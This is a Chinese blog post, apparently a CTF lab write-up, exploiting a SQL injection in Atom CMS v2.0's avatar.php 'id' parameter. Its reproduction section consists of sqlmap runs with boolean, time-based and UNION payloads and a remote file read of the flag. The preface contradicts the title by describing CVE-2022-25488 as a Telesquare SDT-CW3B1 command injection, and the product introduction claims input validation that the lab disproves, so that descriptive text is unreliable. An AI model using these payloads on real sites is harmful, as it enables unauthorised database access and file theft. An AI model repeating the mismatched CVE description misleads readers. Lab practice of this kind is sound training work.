Atom CMS v2.0 SQL 注入漏洞(CVE-2022-25488)

前言

CVE-2022-25488 是一个发现于 Telesquare SDT-CW3B1 设备中的命令注入漏洞。这一漏洞可以被未经认证的远程攻击者利用,通过特殊构造的 HTTP 请求在设备上执行任意命令。以下是关于该漏洞的详细信息:

漏洞详细信息

  • 漏洞编号: CVE-2022-25488
  • 影响范围: Telesquare SDT-CW3B1 设备的特定版本
  • 描述: 该漏洞是由于输入处理不当造成的,攻击者可以通过在 HTTP 请求中注入恶意命令来利用这一漏洞。这些命令将在设备的操作系统中执行,可能导致设备完全被攻击者控制。
  • 攻击向量: 远程,未经认证的攻击者可以通过网络利用此漏洞。

攻击步骤

  1. 发送恶意 HTTP 请求: 攻击者构造一个特定的 HTTP 请求,包含恶意命令。
  2. 命令注入: 由于设备在处理请求时未正确验证输入,恶意命令被注入并在设备上执行。
  3. 控制设备: 成功利用漏洞后,攻击者可以在设备上执行任意命令,可能导致数据泄露、设备中断或进一步的网络攻击。

影响

  • 机密性: 高。攻击者可以访问和泄露设备上的敏感数据。
  • 完整性: 高。攻击者可以修改或破坏设备上的数据。
  • 可用性: 高。攻击者可以使设备无法正常工作。

缓解措施

  1. 固件更新: 制造商发布补丁或固件更新以修复此漏洞。用户应及时更新设备固件。
  2. 网络安全措施: 在网络边界实施防火墙和入侵检测系统,监控和阻止可疑的网络流量。
  3. 输入验证: 开发人员应确保在处理用户输入时进行严格的验证和过滤,防止命令注入攻击。
  4. 最小权限原则: 设备应配置为仅允许必要的权限,减少被利用的风险。

总结

CVE-2022-25488 是一个严重的命令注入漏洞,攻击者可以通过网络远程利用该漏洞,在受影响的 Telesquare SDT-CW3B1 设备上执行任意命令。用户应尽快采取措施,更新设备固件并实施必要的安全防护措施,以防止潜在的攻击。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。

教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。

竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。

资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Atom CMS v2.0 是一款内容管理系统,用于创建和管理网站内容。以下是关于 Atom CMS v2.0 的详细介绍:

概述

Atom CMS v2.0 是一个开源的内容管理系统,采用 PHP 和 MySQL 构建,旨在提供一个简单易用的平台,用于网站内容的创建、编辑和管理。该系统主要面向小型网站和博客,提供了丰富的功能以满足基本的内容管理需求。

主要功能

  1. 用户管理

    • 支持用户注册和登录。
    • 角色和权限管理,区分管理员和普通用户。
    • 用户资料编辑和密码管理。
  2. 文章管理

    • 创建、编辑和删除文章。
    • 支持文章分类和标签。
    • 支持富文本编辑器,便于格式化内容。
  3. 媒体管理

    • 上传和管理图片、视频等多媒体文件。
    • 支持媒体文件的插入和删除。
  4. 评论系统

    • 用户可以对文章进行评论。
    • 管理员可以审核和删除不当评论。
  5. SEO 优化

    • 自定义文章的标题、描述和关键词。
    • 自动生成友好的 URL。
  6. 主题和插件

    • 支持自定义主题,用户可以根据需要更改网站的外观。
    • 支持插件扩展功能,增加系统的灵活性。

安全特性

  • 输入验证:对用户输入进行严格验证,防止 SQL 注入和跨站脚本攻击(XSS)。
  • 密码加密:用户密码采用加密存储,提高账户安全性。
  • 权限控制:细粒度的权限控制,确保用户只能访问授权的资源。

使用场景

  • 个人博客:适合个人博客的创建和管理,提供基本的文章发布和评论功能。
  • 小型企业网站:适合小型企业展示产品和服务,提供简单的内容管理功能。
  • 教育网站:适合教育机构发布课程信息和新闻公告。

安装和配置

  1. 下载源码:从官方网站或 GitHub 下载最新版本的 Atom CMS v2.0 源码。
  2. 环境配置:确保服务器环境支持 PHP 和 MySQL,推荐使用 Apache 或 Nginx 服务器。
  3. 数据库配置:创建 MySQL 数据库,并导入初始数据表。
  4. 配置文件:修改配置文件,设置数据库连接信息和基本站点信息。
  5. 安装向导:通过浏览器访问安装向导,完成系统安装。

漏洞复现

打开靶场

直接访问则是 404

跟上题目的路径查看却是空白

删除 avatar.php 文件发现能看到整个目录 

查看其他文件得到报错信息

得到一个参数 id,使用 SQLMap 跟上试试

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1"_____H_____ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:34:46 /2024-06-30/[20:34:47] [INFO] testing connection to the target URL
[20:34:47] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:34:47] [INFO] testing if the target URL content is stable
[20:34:47] [INFO] target URL content is stable
[20:34:47] [INFO] testing if GET parameter 'id' is dynamic
[20:34:47] [INFO] GET parameter 'id' appears to be dynamic
[20:34:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[20:34:47] [INFO] testing for SQL injection on GET parameter 'id'
[20:34:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:34:48] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[20:34:49] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:34:52] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:34:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:34:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:34:52] [INFO] testing 'Generic inline queries'
[20:34:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:34:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:34:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:34:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:35:03] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:35:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:35:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:35:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:35:03] [INFO] target URL appears to have 1 column in query
[20:35:03] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:35:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:35:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:35:05 /2024-06-30/

很好,接下来就是熟悉的找 flag 了

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=1" -D "mysql" --file-read "/flag"_____H_____ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 20:39:30 /2024-06-30/[20:39:30] [INFO] resuming back-end DBMS 'mysql' 
[20:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1 AND 4748=4748Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 5831 FROM (SELECT(SLEEP(5)))vnsO)Type: UNION queryTitle: Generic UNION query (NULL) - 1 columnPayload: id=-9618 UNION ALL SELECT CONCAT(0x717a6b6b71,0x766c6652456c5a5861757461574161674d615374504a4e4e596861634252687778654452657a4b6d,0x7170717671)-- -
---
[20:39:30] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[20:39:30] [INFO] fingerprinting the back-end DBMS operating system
[20:39:30] [INFO] the back-end DBMS operating system is Linux
[20:39:30] [INFO] fetching file: '/flag'
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag[20:39:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com'[*] ending @ 20:39:32 /2024-06-30/┌──(root㉿kali)-[~]
└─# cat /root/.local/share/sqlmap/output/eci-2ze5hr6ytbjlp9dcw4eb.cloudeci1.ichunqiu.com/files/_flag
flag{810e4de0-b64a-4124-bddf-3554d6e60d15}          

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/371838.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录一次ffmpeg手动编译出现的问题

前言部分 使用环境: ubuntu 22.04 最近手动编译了一次的ffmpeg(参考博客ffmpeg学习:ubuntu下编译ffmpeg(全网最懒的编译脚本)),但是过程出现了一些问题,因此在此记录一下,若有疑问,欢迎讨论~。 …

【MotionCap】pycharm 远程在wsl2 ubuntu20.04中root的miniconda3环境

pycharm wsl2 链接到pycharmsbin 都能看到内容,/root 下内容赋予了zhangbin 所有,pycharm还是看不到/root 下内容。sudo 安装了miniconda3 引发了这些问题 由于是在 root 用户安装的miniconda3 所以安装路径在/root/miniconda3 里 这导致了环境也是root用户的,会触发告警 WA…

【MySQL】MySQL锁冲突排障纪要

【MySQL】MySQL锁冲突排障纪要 开篇词:干货篇:1.查看当前innodb status,里面包含事务,锁占用情况2.查看mysql进程状态3.查看innodb事务,锁,锁等待情况4.定位持有锁的线程信息 总结篇:一、锁冲突的原因二、锁冲突的表现…

BigDecimal(double)和BigDecimal(String)有什么区别?BigDecimal如何精确计数?

BigDecimal(double)和BigDecimal(String)的区别 double是不精确的,所以使用一个不精确的数字来创建BigDecimal,得到的数字也是不精确的。如0.1这个数字,double只能表示他的近似值。所以,当我们使用new BigDecimal(0.1)创建一个Bi…

一.2.(4)放大电路静态工作点的稳定;

1.Rb对Q点及Au的影响 输入特性曲线:Rb减少,IBQ,UBEQ增大 输出特性曲线:ICQ增大,UCEQ减少 AUUO/Ui分子减少,分母增大,但由于分子带负号,所以|Au|减少 2.Rc对Q点及Au的影响 输入特性曲…

Google账号输入用户名和密码后提醒要到手机通知点是,还要点击数字,但是我手机收不到

有一些朋友换了一个新的电脑后手机登录谷歌账号时,用户名和密码都正确输入以后,第三步弹出一个提示,要在手机上的通知栏点击是,并且点击手机上相应的数字才能继续登录。 但是自己的手机上下拉通知栏却没有来自谷歌的通知&#xf…

Qt(MSVC)下报“语法错误缺少“}““语法错误缺少“常数“ 的解决办法

1.现象 目前我在工程中试图使用QHttpServer时,一编译,就报了一堆奇奇怪怪的错误: D:\Qt\httpServer\Qt5.15.2\include\QtHttpServer\qhttpserverrequest.h:75: error: C2143: 语法错误: 缺少“}”(在“(”的前面) D:\Qt\httpServer\Qt5.15.…

0/1背包问题总结

文章目录 🍇什么是0/1背包问题?🍈例题🍉1.分割等和子集🍉2.目标和🍉3.最后一块石头的重量Ⅱ 🍊总结 博客主页:lyyyyrics 🍇什么是0/1背包问题? 0/1背包问题是…

实现ubuntu的任务计划反弹shell

1.实验目的 使用Ubuntu定时任务反弹shell 2实验环境 ubuntu:ip地址:192.168.80.133 kali:ip地址:192.168.80.134 3.编写crontab计划任务 在ubuntu的系统中使用crontab -e命令编写计划任务 作用:是将一个交互式的…

【基于R语言群体遗传学】-12-超显性与次显性

欢迎先看前面的博客,再继续进行后面的内容: 群体遗传学_tRNA做科研的博客-CSDN博客 当杂合子的适应度超出纯合子的范围时,二倍体能够展现出更多令人着迷的选择实例。这种形式的一种是杂合子优势,或称为“超显性”,其…

MySQL中的数据类型

这里写目录标题 数值类型整数类型浮点数类型定点数类型 日期和时间类型字符串类型定长字符串变长字符串文本类型二进制类型 枚举和集合类型选择标准示例 SET FOREIGN_KEY_CHECKS0; DROP TABLE IF EXISTS sys_user; CREATE TABLE sys_user (user_id bigint NOT NULL AUTO_INCREM…

轻松转换!两款AI工具让word秒变ppt!

想把Word文档一键生成PPT,过去有一个很常见的做法:先在Word文档中设置标题样式,通过标题样式来分隔每一部分,之后导出为PPT,就能得到一份PPT的雏形,但这种方法无法对PPT自动进行美化,即得到的只…

现货黄金技术出现这一信号赶紧止损!

很多现货黄金投资者都并不知道,移动平均线除了可以用于寻找进场的机会,还可以用来设置止损,让自己在交易中更好地进行防守。其实移动平均线止损,是常用的技术止损方法之一,本文将和大家分享怎样利用均线设置止损点&…

Java | Leetcode Java题解之第217题存在重复元素

题目&#xff1a; 题解&#xff1a; class Solution {public boolean containsDuplicate(int[] nums) {Set<Integer> set new HashSet<Integer>();for (int x : nums) {if (!set.add(x)) {return true;}}return false;} }

VSCode远程连接Linux服务器

VSCode远程连接Linux服务器 一、下载VSCode二、远程连接Linux服务器2.1 安装插件2.2 连接linux服务器 我用的Linux服务器(腾讯云服务器&#xff0c;如果是虚拟机需要手动去配置ssh)&#xff0c;操作系统是ubuntu 20.04&#xff08;系统如果不一样&#xff0c;可以重装系统&…

2024/7/7总结

Servlet WebServlet("/demo2") public class servlet_demo2 extends HttpServlet {/*** 就绪/服务方法&#xff08;处理请求数据&#xff09;* 系统方法&#xff0c;服务器自动调用* 当有请求到达servlet时&#xff0c;就会调用该方法* 方法可以被多次调用* param r…

iOS多target时怎么对InfoPlist进行国际化

由于不同target要显示不同的App名称、不同的权限提示语&#xff0c;国际化InfoPlist文件必须创建名称为InfoPlist.strings的文件&#xff0c;那么多个target时怎么进行国际化呢&#xff1f;步骤如下&#xff1a; 一、首先我们在项目根目录创建不同的文件夹对应多个不同的targe…

多方SQL计算场景下,如何达成双方共识,确认多方计算作业的安全性

安全多方计算在SQL场景下的限制 随着MPC、隐私计算等概念的流行&#xff0c; 诸多政府机构、金融企业开始考虑参与到多方计算的场景中&#xff0c; 扩展数据的应用价值。 以下面这个场景为例&#xff0c; 银行可能希望获取水电局和税务局的数据&#xff0c;来综合计算得到各…

基于FPGA的图像边缘检测(OV5640)

一、简介 1.应用范围 边缘主要存在于图像中目标与目标之间&#xff0c;目标与背景之间&#xff0c;区域与区域之间。 边缘检测的目的就是找到图像中亮度变化剧烈的像素点构成的集合&#xff0c;表现出来往往是轮廓。如果图像中边缘能够精确的测量和定位&#xff0c;那么&…

移动校园(2):express构建服务器,小程序调用接口,展示数据

express做服务器框架&#xff0c;mssql连接数据库&#xff0c;uni-request调用接口 这是文件夹目录 然后是index.js内容 const expressrequire(express) const appexpress() const uniRouterrequire("./uniRouter") const config{user:sa,password:123456,server:l…